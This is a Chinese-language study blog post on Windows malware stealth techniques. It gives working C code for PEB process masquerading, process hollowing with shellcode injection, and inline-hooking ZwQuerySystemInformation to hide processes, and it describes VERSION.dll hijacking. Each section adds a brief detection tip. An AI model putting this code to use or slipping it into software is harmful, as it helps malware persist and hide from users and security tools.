[笔记]Windows安全之《六》隐藏技术

950 阅读22分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第5天

前言

为了永久地驻留在用户计算机上,病毒木马需要披上厚厚的伪装。

所以,做好隐藏、伪装工作是病毒木马长期驻留在用户计算机上的关键。 但是,也并非所有的病毒木马都会故意地隐藏或伪装,有些病毒木马由于自身植人技术、启动技术或是自启动技术较为隐蔽,不易被用户察觉或是被杀软检测到,所以不需要额外的隐藏伪装,也能达到隐藏的目的。

后门技术:病毒木马长期驻留在用户计算机上的技术,例如 自启动技术

本章主要介绍4种隐藏、伪装技术:

  • 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
  • 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建“傀儡”进程。
  • 进程隐藏:通过HOOK函数ZwQuerySystemInformation实现进程隐藏。
  • DLL劫持:通过抑ragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用。

进程伪装

对于病毒木马来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost..exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的是另一个进程的信息。 这样,指定进程与伪装进程的信息相同,但实际上,它还执行着原来进程的操作,这就达到了伪装的目的。

函数介绍

NtQueryInformationProcess函数

NTSTATUS
NTAPI
NtQueryInformationProcess (
    IN HANDLE ProcessHandle,
    IN PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

ProcessHandle: 要获取信息的进程句柄。

ProcessInformationClass: 要获取的进程信息的类型。 该参数可以是PROCESSINFOCLASS枚举中的以下值之一。

截图_20220627105907.png

ProcessInformation: 指向由应用程序提供的缓冲区指针,函数写入请求的信息。 所写信息的大小取决于ProcessInformationClass参数的数据类型。当ProcessInformationClass参数为ProcessBasicInformation时,ProcessInformation参数指向的缓冲区应足够大,以容纳具有以下布局的单个PROCESS BASIC INFORMATION结构。

ProcessInformationLength: ProcessInformation参数指向的缓冲区大小(以字节为单位)。

ReturnLength: 指向变量的指针,其中函数返回所请求信息的大小。如果函数成功,则这是由ProcessInformation参数指向缓冲区的信息大小,但是如果缓冲区太小,则这是成功接收信息所需的最小缓冲区大小。

返回值: 该函数返回一个NTSTATUS成功或错误代码。

PROCESS_BASIC_INFORMATION结构体

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

PebBaseAddress成员指向PEB结构。

UniqueProcessld成员指向该过程的系统唯一标识符。最好使用GetProcessId函数来检索这些信息。

该结构的其他成员保留以供操作系统内部使用。

原理

进程伪装的原理:修改指定进程环境块中的进程路径以及命令行信息,从而达到进程伪装的效果。所以,实现的关键在于进程环境块的获取。由上述的函数介绍可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。

获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WN32API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。 具体的实现流程如下所示:

  1. 根据进程的PD号打开指定进程,并获取进程的句柄。
  2. 从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,以只能动态获取,这个函数是这个程序功能实现的关键步骤。
  3. 使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS BASIC INFORMATION,并从中获取指定进程的PEB。
  4. 就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。 调用ReadProcessMemory和WriteProcessMemory函数可以修改PEB中的路径信息、命令行信息等,从而实现进程伪装。 经过上述操作,便可完成进程伪装工作。

代码实现

// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装,并使用Process Explorer查看
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
	// 打开进程获取句柄
	HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwProcessId);
	if (NULL == hProcess)
	{
		ShowError("OpenProcess");
		return FALSE;
	}

	typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
	PROCESS_BASIC_INFORMATION pbi = { 0 };
	PEB peb = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param = { 0 };
	USHORT usCmdLen = 0;
	USHORT usPathLen = 0;
	// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
	NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
		::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
	if (NULL == NtQueryInformationProcess)
	{
		ShowError("GetProcAddress");
		return FALSE;
	}
	// 获取指定进程的基本信息
	NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
	if (!NT_SUCCESS(status))
	{
		ShowError("NtQueryInformationProcess");
		return FALSE;
	}

	/*
  	    注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,
	    每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。
	    要不然一直提示位置访问错误!
	*/
	// 获取指定进程进本信息结构中的PebBaseAddress
	::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
	// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
	::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

	// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中
	usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
	::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
	::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
	// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中
	usPathLen = 2 + 2 * ::wcslen(lpwszPath);
	::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
	::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

	PROCESS_BASIC_INFORMATION pbi2 = { 0 };
	PEB peb2 = { 0 };
	RTL_USER_PROCESS_PARAMETERS Param2 = { 0 };
	::ReadProcessMemory(hProcess, pbi2.PebBaseAddress, &peb2, sizeof(peb2), NULL);
	// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中
	::ReadProcessMemory(hProcess, peb2.ProcessParameters, &Param2, sizeof(Param2), NULL);

	printf("pathName: %s\n", Param2.ImagePathName.Buffer);
	printf("commandLine: %s\n", Param2.CommandLine.Buffer);
	return TRUE;
}

注意:测试请用Process Explorer,因为其原理是直接获取PE路径,而其他的,例如Process Hacker是通过映像路径转为文件路径的,不存在隐藏成功的情况。

小结

修改PEB实现进程伪装的原理不难理解,但是有个容易出错的地方,它就是一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。 同时也要注意系统位数问题,如果PEB修改程序运行在64位系统上,那么程序就要编译为64位程序;如果PEB修改程序运行在32位系统上,则程序要编译为32位程序,否则程序不能伪装成功。

调用GetModuleFileNameEx、GetProcessImageFileName或者QueryFullProcessImageName等函数可以获取伪装进程的正确路径。

傀儡进程

傀儡进程本质上就像披着羊皮的狼,巧借正常的软件进程或是系统进程的外壳来执行非正常的恶意操作,它的实现难度不大,所以病毒木马常用来作为驻留隐藏的手段。

函数介绍

GetThreadContext函数

获取指定线程的上下文。64位应用程序可以使用Wow64 GetThreadContext函数来检索WOW64线程的上下文。

WINBASEAPI
BOOL
WINAPI
GetThreadContext(
    __in    HANDLE hThread,
    __inout LPCONTEXT lpContext
    );

hThread 要检索其上下文的线程句柄。该句柄必须具有对线程的THREAD GET CONTEXT访问权限。WOW64也必须有对THREAD QUERY INFORMATION的访问权限。

lpContext 指向上下文结构的指针,它接收指定线程适当的上下文。该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分。上下文结构具有高度的处理器特性。

返回值: 如果函数成功,则返回值不为零。 如果函数失败,则返回值为零。

SetThreadContext函数

设置指定线程的上下文。64位应用程序可以使用Wow64 SetThreadContext函数设置WOW64线程的上下文。


WINBASEAPI
BOOL
WINAPI
SetThreadContext(
    __in HANDLE hThread,
    __in CONST CONTEXT *lpContext
    );

hThread 要检索其上下文的线程句柄。该句柄必须具有对线程的THREAD GET CONTEXT访问权限。WOW64也必须有对THREAD QUERY INFORMATION的访问权限。

lpContext 指向上下文结构的指针,它接收指定线程适当的上下文。该结构中的ContextFlags成员可以指定检索线程上下文的哪些部分。上下文结构具有高度的处理器特性。

返回值: 如果函数成功,则返回值不为零。 如果函数失败,则返回值为零。

ResumeThread函数

减少线程的暂停计数。当暂停计数递减到零时,恢复线程的执行。

WINBASEAPI
DWORD
WINAPI
ResumeThread(
    __in HANDLE hThread
    );

hThread 要重新启动线程的句柄。该句柄必须具有THREAD SUSPEND RESUME权限。

原理

傀儡进程的创建原理就是修改某一进程的内存数据,向内存中写入Shellcode代码,并修改该进程的执行流程,使其转而执行Shellcode代码。这样,进程还是原来的进程,但执行的操作却替换了。

要想创建傀儡进程,有两个关键技术点:

  1. 是写人Shellcode数据的时机,
  2. 是更改执行流程的方法。

通过上述的函数介绍可以知道,CreateProcess提供CREATE SUSPENDED作为线程建立后主进程挂起等待的标志,这时主线程处于挂起状态,不往下执行代码,直到通过ResumeThread恢复线程,方可继续执行。而且SetThreadContext函数可以修改线程上下文中的EP数据,学过汇编语言的读者应该知道,更改指令指针EP,便可改变程序的执行顺序。

创建傀儡进程的具体实现流程如下所示:

  1. 调用CreateProcess函数创建进程,并且设置进程的标志为CREATE SUSPENDED,即表示创建进程的主线程会挂起。
  2. 调用VirtualAllocEx函数在新进程中申请一个可读、可写、可执行的内存,并调用WriteProcessMemory函数写人Shellcode数据。当然,考虑到傀儡进程的内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数来卸载傀儡进程并加载模块。
  3. 调用GetThreadContext,设置获取标志为CONTEXT FULL,即获取新进程中所有线程的上下文。并修改线程上下文指令指针EP的值,更改主线程的执行顺序,再将修改过的线程上下文通过SetThreadContext函数设置回主线程中。
  4. 调用ResumeThread恢复主线程,让进程按照修改后的EIP继续运行。这样,系统就会执行注入的Shellcode代码。

在上述步骤中,当使用CreateProcess创建进程时,若创建标志为CREATE SUSPENDED,则表示新进程的主线程会创建为挂起状态,直到使用ResumeThread函数恢复主线程,进程才会继续运行。其中,要注意的是,在使用GetThreadContext获取线程上下文的时候,一定要对上下文结构中的ContextFlags成员赋值,指明要检索线程上下文的哪些部分,否则会导致程序不能实现到想要的效果。在本书中,ContextFlags赋值为CONTEXT_FULL,这表示获取所有线程的上下文信息。

代码实现

// 创建进程并替换进程内存数据, 更改执行顺序
BOOL ReplaceProcess_Win32(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT threadContext = { 0 };
	BOOL bRet = FALSE;
	::RtlZeroMemory(&si, sizeof(si));
	::RtlZeroMemory(&pi, sizeof(pi));
	::RtlZeroMemory(&threadContext, sizeof(threadContext));
	si.cb = sizeof(si);
	// 创建进程并挂起主线程
	bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (FALSE == bRet)
	{
		ShowError("CreateProcess");
		return FALSE;
	}
	// 读取基址的方法: 此时context中的EBX是指向PEB的指针, 而在PEB偏移是8的位置存放 PEB_LDR_DATA 的地址
	// 我们可以根据 PEB_LDR_DATA 获取进程基址以及遍历进程链获取所有进程
//	DWORD dwProcessBaseAddr = 0;
//	::ReadProcessMemory(pi.hProcess, (LPVOID)(8 + threadContext.Ebx), &dwProcessBaseAddr, sizeof(dwProcessBaseAddr), NULL);

	// 在替换的进程中申请一块内存
	LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (NULL == lpDestBaseAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	// 写入替换的数据
	bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
	if (FALSE == bRet)
	{
		ShowError("WriteProcessError");
		return FALSE;
	}
	// 获取线程上下文
	// 注意此处标志,一定要写!!!
	threadContext.ContextFlags = CONTEXT_FULL;
	bRet = ::GetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError("GetThreadContext");
		return FALSE;
	}
	// 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
	printf("before thread EIP:0x%p\n", threadContext.Eip);
	printf("DestBaseAddress:0x%p\n", lpDestBaseAddr);
	printf("Shellcode StartAddress:0x%p\n", (LPVOID)((DWORD)lpDestBaseAddr + dwRunOffset));
	

	threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
	//threadContext.Eax = (DWORD)lpDestBaseAddr + dwRunOffset;

	// 设置挂起进程的线程上下文
	bRet = ::SetThreadContext(pi.hThread, &threadContext);
	if (FALSE == bRet)
	{
		ShowError("SetThreadContext");
		return FALSE;
	}
	// 恢复挂起的进程的线程
	::ResumeThread(pi.hThread);

	return TRUE;
}

小结

在理解这个程序的原理后,你会发现它的巧妙之处在于CreateProcess函数的创建标志CREATE SUSPENDED,即表示创建进程的主线程被挂起,这就给了病毒木马发挥想象的时机和空间。 在编码实现的过程中,要特别注意线程上下文中GetThreadContext函数的使用,记得要对上下文结构中的ContextFlags成员赋值,指明要检索线程上下文的哪些部分,否则线程的上下文就会获取失败。

通过对SetThreadContext函数挂钩APL,可以监控线程上下文的修改操作,从而拦截傀儡进程的启动。

进程隐藏

实现进程隐藏的方法有很多,本节介绍的是一种较为直接的隐藏方式,即通过HOOK API函数实现。在Windows中,用户程序的所有操作都是基于WN32API来实现的,例如使用任务管理器查看进程等操作,这便给了病毒木马大显身手的机会。它通过HOOK技术拦截API函数的调用,并对数据进行监控和篡改,从而达到不可告人的目的。

API HOOK技术:通过HOOK技术拦截API函数的调用,并对数据进行监控和篡改,从而达到不可告人的目的。

函数介绍

ZwQuerySystemInformation函数

NTSYSCALLAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
    _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
    _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,
    _In_ ULONG SystemInformationLength,
    _Out_opt_ PULONG ReturnLength
    );

SystemInformationClass 要检索系统的信息类型。例如,检索类型SystemProcessInformation(5)表示检索系统的进程信息。

SystemInformation 指向缓冲区的指针,用于接收请求的信息。该信息的大小和结构取决于SystemInformationClass参数的值。例如,检索类型为SystemProcessInformation(5)的缓冲区为SYSTEM_PROCESS NFORMATION结构数组。

SystemInformationLength SystemInformation参数指向的缓冲区大小(以字节为单位)o ReturnLength 【out,optional】 一个可选的指针,指向函数写入请求信息的实际大小的位置。

返回值 返回NTSTATUS成功或错误代码。 NTSTATUS错误代码的形式和意义在DDK提供的Ntstatus.h头文件中列出,并在DDK文档中进行了说明。

此功能没有关联的导入库。必须使用LoadLibrary和GetProcAddress函数动态链接到ntdll.dll

原理

WN32API函数有很多,为什么只有HOOK函数ZwQuerySystemInformation可以实现进程隐藏呢?那是由于遍历进程通常是通过调用WN32API函数EnumProcesses或是CreateToolhelp.32 Snapshot等来实现的。通过跟踪逆向这些WN32API函数可知,它们内部最终是通过调用ZwQuerySystemInformation函数来检索系统进程信息的,从而实现进程遍历操作。

所以,程序只需要HOOK ZwQuerySystemInformation这一个函数就足够了。在ZwQuerySystem Information函数的内部判断检索的信息是否是进程信息,若是,则对返回的进程信息进行修改,将隐藏的进程信息从中去掉再返回。因此只要是通过调用ZwQuerySystemInformation来检索系统进程的,获取到的数据均是被篡改的,自然获取不到隐藏进程的信息,这样,指定进程就被隐藏起来了。

要实现进程隐藏技术的前提就是要先掌握API HOOK技术,然后学习如何修改ZwQuerySystemInformation HOOK函数中的数据。接下来就先介绍在32和64位系统上API HOOK的具体原理和实现方法。

代码实现

INLINE HOOK API技术

Inline HOOk API的核心原理是在获取进程中指定API函数的地址后,修改该API函数入口地址的前几个字节数据,写入一个跳转指令,使其跳转到自定义的新函数中去执行。 要注意区分32位系统和64位系统,因为32位和64位系统的指针长度是不同的,这会导致地址长度也不同。32位系统中用4字节表示地址,而64位系统中使用8字节来表示地址。 在32位系统中,汇编跳转语句可以是: 截图_20220627113759.png

所以,要想进行Inline HOOK操作,32位系统需要更改函数的前5字节数据;而64位系统则需要更改前12字节数据。

Inline HOOK的具体流程如下所示:

  1. 先获取API函数的地址。可以从进程中获取HOOK API对应的模块基址,这样,就可以通过GetProcAddress函数获取API函数在进程中的地址。
  2. 根据32位和64位版本,计算需要修改HOOK API函数的前几字节数据。若是32位系统,则需要计算跳转偏移,并修改函数的前5字节数据;若是64位系统,则需修改函数的前12字节数据。
  3. 修改API函数的前几字节数据的页面保护属性,更改为可读、可写、可执行,这样是为了确保修改后内存能够执行。
  4. 为了能够还原操作,要在修改数据前先对数据进行备份,然后再修改数据,并还原页面保护属性。

UNHOOK的流程基本上和HOOK的流程是一样的,只不过它写入的数据是HOOK操作备份的前几字节数据。这样,API函数便可以恢复正常。

void UnhookApi()
{
	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return;
	}
	// 设置页面的保护属性为 可读、可写、可执行
	DWORD dwOldProtect = 0;
	::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	// 32 位下还原前 5 字节, 64 位下还原前 12 字节
#ifndef _WIN64
	// 还原
	::RtlCopyMemory(ZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
#else
	// 还原
	::RtlCopyMemory(ZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
#endif

	// 还原页面保护属性
	::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

ZwQuerySystemInformation HOOK函数

ZwQuerySystemInformation HOOK函数所执行的操作就是判断是否是检索系统的进程信息,若是,则剔除隐藏进程的信息,将修改后的数据返回。

具体的实现流程如下所示:

  1. 使用UnHOOK API,防止因多次同时访间HOOK函数而造成数据混乱,导致数据修改失败。同一时间,应该只有一个线程访问HOOK函数。
  2. 通过GetProcAddress函数从ntdl.dl中获取ZwQuerySystemInformation函数地址并调用执行,检索并获取系统信息。
  3. 判断检索消息类型是否是进程信息,若是则遍历检索结果,从中剔除隐藏进程的消息。
  4. 数据修改完毕后,继续执行HOOK操作,并返回结果。
NTSTATUS New_ZwQuerySystemInformation(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID SystemInformation,
	ULONG SystemInformationLength,
	PULONG ReturnLength
	)
{
	NTSTATUS status = 0;
	PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
	// 要隐藏的进程PID
	DWORD dwHideProcessId = 96;

	// UNHOOK API
	UnhookApi();

	// 获取 ntdll.dll 的加载基址, 若没有则返回
	HMODULE hDll = ::GetModuleHandle("ntdll.dll");
	if (NULL == hDll)
	{
		return status;
	}
	// 获取 ZwQuerySystemInformation 函数地址
	typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
	if (NULL == ZwQuerySystemInformation)
	{
		return status;
	}

	// 调用原函数 ZwQuerySystemInformation
	status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
						SystemInformationLength, ReturnLength);
	if (NT_SUCCESS(status) && 5 == SystemInformationClass)
	{
		pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
		while (TRUE)
		{
			// 判断是否是要隐藏的进程PID
			if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
			{
				if (0 == pCur->NextEntryOffset)
				{
					pPrev->NextEntryOffset = 0;
				}
				else
				{
					pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
				}
			}
			else
			{
				pPrev = pCur;
			}

			if (0 == pCur->NextEntryOffset)
			{
				break;
			}
			pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
		}
	}

	// HOOK API
	HookApi();

	return status;
}

小结

进程隐藏的关键是掌握nline HOOK技术原理,同时需要注意以下两个问题:

  1. 是在修改导出函数地址的前几字节数据的时候,建议先对页面属性保护重新设置,可以调用VirtualProtect函数将页面属性保护设置成可读、可写、可执行的属性PAGE EXECUTE READWRITE,这样可以避免在对内存操作的时候报错。
  2. 是HOOK函数声明一定要加上WINAPI(stdcal1)函数的调用约定,否则新函数会默认使用C语言的调用约定,这会导致在函数返回过程中,因堆栈不平衡而报错。

注意:通过对比ZwQuerySystemInformation函数所在的PE文件在本地和内存中的数据,可以检测是否存在Inline Hook。

DLL劫持

DLL劫持技术:如果在进程尝试加载一个DLL时,没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,那么这个恶意的DLL便会由进程加载,进程会执行DLL中的代码,这就是所谓的DLL劫持。

函数介绍

原理

DLL劫持技术的原理是当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出需要的DLL,并将它们映射到进程的地址空间中。由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。

搜索DLL文件的顺序如下所示:

  • 程序所在目录。
  • 系统目录。
  • 16位系统目录。
  • Windows目录。
  • 当前目录。
  • PATH环境变量中的各个目录。

首先 系统会尝试从当前程序所在的目录中加载DLL;如果没找到,则在系统目录中查找;如果没找到,则在16位系统日录中寻找;如果没找到,在Windows系统目录中查找;如果没找到,则在当前目录中查找;如果没找到,则在环境变量列出的各个目录下查找。

利用搜索路径的这个特点,先伪造一个与系统同名的DLL,提供同样的输出表,并使每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前程序所在目录下的伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程就是DLL劫持。

为了使程序在加载了劫持的DLL后还能正常执行,劫持DLL导出函数的名称和功能必须要与原来的DLL相同。可以有两种方式来调用原来DLL的导出函数:

  1. 一种是直接转发DLL函数
  2. 另一种是调用DLL函数。

代码实现

本节介绍的DLL劫持技术分为两种方式,一种是通过pragma comment指令直接转发DLL函数,另一种是通过LoadLibrary和GetProcAddress函数来调用DLL函数。接下来,我们在64位Windows 10系统上分别对这两种实现方法进行测试。 首先,先测试直接转发DLL函数的方法。将上述直接转发DLL函数方法的DLL文件DIlHijack_Test.dll以及C:\Windows\SysWOW64\VERSION.dll文件复制到Test.exe程序所在目录下,并将VERSION.dl文件名改为OLD VERSION.dll,DIIHijack_Test.dll文件名改为VERSION.dll,以此劫持系统目录下的VERSION.dll文件。然后直接双击运行Test.exe,它会成功弹出劫持成功的提示框,如图7-6所示。

截图_20220627114908.png

然后,测试调用DLL函数的方法。将上述调用DLL函数方法的DLL文件DllHijack2Test.d山复制到Test.exe文件所在目录下,并将DllHijack2Test.dll文件重命名为VERSION.dll,以此劫持系统目录下的VERSION.dll文件。然后直接双击运行Test.exe,它也会成功弹出劫持成功的提示框,如图7-7所示。

截图_20220627114918.png

小结

在DLL的路径程序中写的是C:1 Windows\System32 VERSION.dll。在64位系统中,System32目录中的DLL都是64位的。如果32位程序在默认情况下访问System32目录,则它会被重定向到C.Windows\SysW0W64目录。64位系统为了兼容32位程序,将32位的库和系统应用程序存放在SysWoW64文件夹下。默认情况下,32位程序会由文件重定向,可以调用Wow64 DisableWow64 FsRedirection函数和Wow64 RevertWow64 FsRedirection函数来关闭文件重定向和恢复文件重定向。

本节介绍的调用函数的方法仅适用于劫持32位的DLL程序,不适用64位DLL程序。因为declspec(naked)关键字不支持64位,而且64位系统也不支持asm内联汇编。而通过 #pragma comment关键字直接转发函数的方法既适用于32位DLL劫持,也适用64位DLL劫持」 但是直接转发函数的方法需要更改原来的DLL名称,这样才能顺利加载原来的DLL模块,否则,会导致加载DLL的过程出现死锁。

无论是直接转发函数方法还是调用函数方法,它们都有明显的规律可循,关键是遍历劫持DLL的导出函数。所以,当遇到劫持的DLL有很多个导出函数的时候,手动编写劫持代码就是一个纯粹的体力劳动了。因此,前人开发了专门用来生成DLL劫持代码的工具,例如AheadLibo

调用GetModuleFileNameEx函数可以获取加载模块的路径,根据当前程序路径和模块加载路径能够判断出是否存在DLL劫持。

总结

进程伪装隐藏技术 往往用于留后门.